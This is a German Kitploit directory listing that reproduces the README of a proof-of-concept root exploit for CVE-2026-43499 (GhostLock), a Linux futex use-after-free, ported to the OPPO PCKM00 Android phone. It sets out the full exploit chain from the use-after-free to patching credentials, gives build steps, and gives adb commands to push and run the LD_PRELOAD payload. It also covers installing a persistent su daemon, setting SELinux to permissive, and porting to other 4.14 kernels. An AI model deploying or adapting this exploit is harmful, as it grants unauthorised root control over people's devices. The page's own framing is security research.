Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
GhostLock-OPPO-PCKM00 — CVE-2026-43499 GhostLock futex UAF LPE PoC für OPPO PCKM00 (SM6150) / Linux 4.14.180 | Kitploit
Tools/GitHubGitHub/yijiacloud/ghostlock-oppo-pckm00
Android-SicherheitPrivilege EscalationPersistenzmechanismenSchwachstellenanalyseExploitationPost-ExploitationMobile SicherheitPayload-EntwicklungBinary-Exploitation
GitHubyijiacloud/ghostlock-oppo-pckm00

GhostLock-OPPO-PCKM00

CVE-2026-43499 GhostLock futex UAF LPE PoC für OPPO PCKM00 (SM6150) / Linux 4.14.180

8236vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

GhostLock — OPPO PCKM00 (4.14.180) PoC

CVE-2026-43499 (GhostLock) — Linux-Kernel-futex-Priority-Inheritance-Use-after-free-PoC zur lokalen Rechteausweitung, portiert auf das OPPO PCKM00 (OP4A57, SM6150, Android 11, Kernel 4.14.180-perf+).

DISCLAIMER / 免责声明 Dieses Projekt dient ausschließlich autorisierter Sicherheitsforschung und Bildungszwecken. Verwende es nicht auf Geräten, die dir nicht gehören oder für die du keine ausdrückliche Testgenehmigung hast. Das Ausführen des Exploits kann den Kernel zum Absturz bringen. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden.

本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。


1. Schwachstelle

CVE-2026-43499 (GhostLock) ist ein Use-after-free im Futex-Priority-Inheritance-Code des Linux-Kernels. Der Fehler liegt darin, dass remove_waiter() im Proxy-Lock-Rollback-Pfad von rt_mutex_start_proxy_lock() falsch verwendet wird. Der freigegebene rt_mutex_waiter (auf dem Kernel-Stack allokiert) wird als angreiferkontrolliertes fd_set neu interpretiert, das von pselect() hineinkopiert wird, was eine Arbitrary-Write-Primitive ermöglicht.

Betroffener Bereich: Linux 4.x–6.x (eingeführt 2011). Die 4.14-Serie ist vollständig betroffen. Siehe report.md für die vollständige Analyse und verifizierte Symbol-Offsets.

Exploit-Kette

futex requeue-pi UAF
   └─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
         └─> arbitrary write (rt_mutex tree ops / sched_setattr)
               └─> overwrite ashmem_fops -> configfs bin read/write
                     └─> pipe_buffer page rewrite (physical RW primitive)
                           └─> patch current task cred -> root

Der PoC läuft vollständig im Userspace über LD_PRELOAD — kein Geräteneustart erforderlich (es sei denn, der Kernel gerät in eine Panik).


2. Ziel

FeldWert
GerätOPPO PCKM00 / OP4A57
SoCQualcomm SM6150
Android11 (RKQ1.200903.002)
Sicherheitspatch2022-09-05
Kernel4.14.180-perf+ (arm64, clang 10.0.7)
BuildOPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys

Portierung auf andere 4.14-Geräte: kopiere exploit/targets/oppo-pckm00/target.h und generiere die Symbol-Offsets aus deinem Kernel-Image neu (siehe analysis/).


3. Repository-Struktur

.
├── report.md                    # Full vulnerability analysis & verified offsets
├── exploit/
│   ├── Makefile                 # Build preload.so (Windows NDK / WSL)
│   ├── src/
│   │   ├── preload.c            # LD_PRELOAD entry + forced disk logging + su
│   │   ├── main.c               # Orchestration (waiter/owner/consumer threads)
│   │   ├── slide.c              # KASLR leak (boot_id / nfulnl loggers)
│   │   ├── fops.c               # ashmem_fops overwrite + configfs primitive
│   │   ├── pipe.c               # pipe_buffer physrw primitive
│   │   ├── root.c               # task walk + cred patch + seccomp/selinux
│   │   ├── util.c               # kernelsnitch, skb page prep, kernel RW
│   │   ├── su_daemon.c          # embedded su server (drop-in)
│   │   ├── su_blob.S            # .incbin of su_daemon
│   │   └── wallpaper_blob.S     # .incbin of wallpaper payload
│   ├── targets/oppo-pckm00/target.h   # 4.14.180 symbol/struct offsets
│   └── assets/wallpaper.webp    # embedded wallpaper payload
├── analysis/                    # kernel image / kallsyms extraction scripts
└── LICENSE                      # Apache-2.0 (same as upstream GhostLock)

4. Build

Erfordert Android NDK r29 (aarch64-linux-android30-clang).

Windows NDK

set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%

WSL (empfohlen)

# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh

Ausgabe: exploit/preload.so (64-Bit-aarch64-ELF-Shared-Object).

Der Build kompiliert außerdem su_daemon.c zu einem PIE-Binary und bettet es (zusammen mit dem Wallpaper) über die .S-Blobs in die .so ein.


5. Verwendung (ADB)

5.1 Payload übertragen

# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so

# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so

5.2 Ausführen

Die .so wird über LD_PRELOAD in den sh-Prozess geladen; ihr Konstruktor führt die gesamte Exploit-Kette aus und meldet das Ergebnis:

adb shell LD_PRELOAD=/data/local/tmp/preload.so id

Bei Erfolg meldet die Shell:

uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0

Der aktuelle Prozess (und seine Kindprozesse) ist nun root. Ein su-Daemon wird nach /apex/com.android.virt/bin/su installiert (mit Fallback auf /data/local/tmp/su) und ein eingebettetes Wallpaper wird als Persistenz-/Verifikationsartefakt angewendet.

5.3 Überprüfen

# from a new shell after the run
adb shell su -c 'id'

# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su

# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce

5.4 Erzwungenes Echtzeit-Disk-Logging

Alle pr_*-Diagnosen werden zusätzlich nach /sdcard/Download/log_<timestamp>.txt geschrieben (mit Fallback auf /data/local/tmp/log_<timestamp>.txt), mit O_SYNC + fsync() bei jeder Zeile, damit die Logs einen Kernel-Panic / Neustart überleben:

adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt

Das Log zeigt jede Phase (KASLR-Slide, fops-Overwrite, Pipe-PhysRW, Cred-Patch) und die abschließende uid_after / ROOT OK-Zeile — füge es bei der Meldung eines Problems bei.

5.5 Aufräumen

adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot   # if SELinux/cred state or the wallpaper was modified

Hinweis: Das Ausführen des Exploits kann den Kernel zum Absturz bringen. Wenn adb die Verbindung verliert, warte auf den Neustart des Geräts und ziehe dann /sdcard/Download/log_*.txt — das erzwungene O_SYNC/fsync-Logging ist genau das, was die Panik überlebt.


6. Hinweise & Einschränkungen

  • KASLR: Der PoC leakt den Slide über den boot_id/nfulnl-Logger-Pfad (slide.c) plus einen ashmem_fops-Verifikationsdurchlauf (fops.c).
  • 4.14- vs. 6.x-Unterschiede, die in diesem Port behandelt werden:
    • configfs verwendet Legacy-.read/.write (kein read_iter/write_iter),
    • ashmem_fops hat kein show_fdinfo,
    • generic_file_splice_read ersetzt copy_splice_read,
    • selinux_enforcing liegt innerhalb von struct selinux_state,
    • 4.14-Layouts von rt_mutex_waiter / pipe_inode_info / cred.
  • Einige Struct-Offsets (z. B. task_struct.seccomp) sind Best-Effort; ein Fehlschlagen des seccomp-Patches blockiert nicht das Cred-Overwrite-Root.
  • Das Ausführen des Exploits kann eine Kernel-Panik auslösen (~97 % Zuverlässigkeit in ~5 s auf dem Zielgerät); verwende ein isoliertes Gerät.

7. Danksagungen

  • NebuSec — ursprüngliche GhostLock-Forschung & Exploit-Framework (IonStack/CVE-2026-43499), Apache-2.0. https://github.com/NebuSec/CyberMeowfia
  • KernelSnitch (Futex-Hash-Seitenkanal) ist unter seinen Upstream-Bedingungen eingebettet.

Lizenz

Apache-2.0 — siehe LICENSE.

Tool herunterladen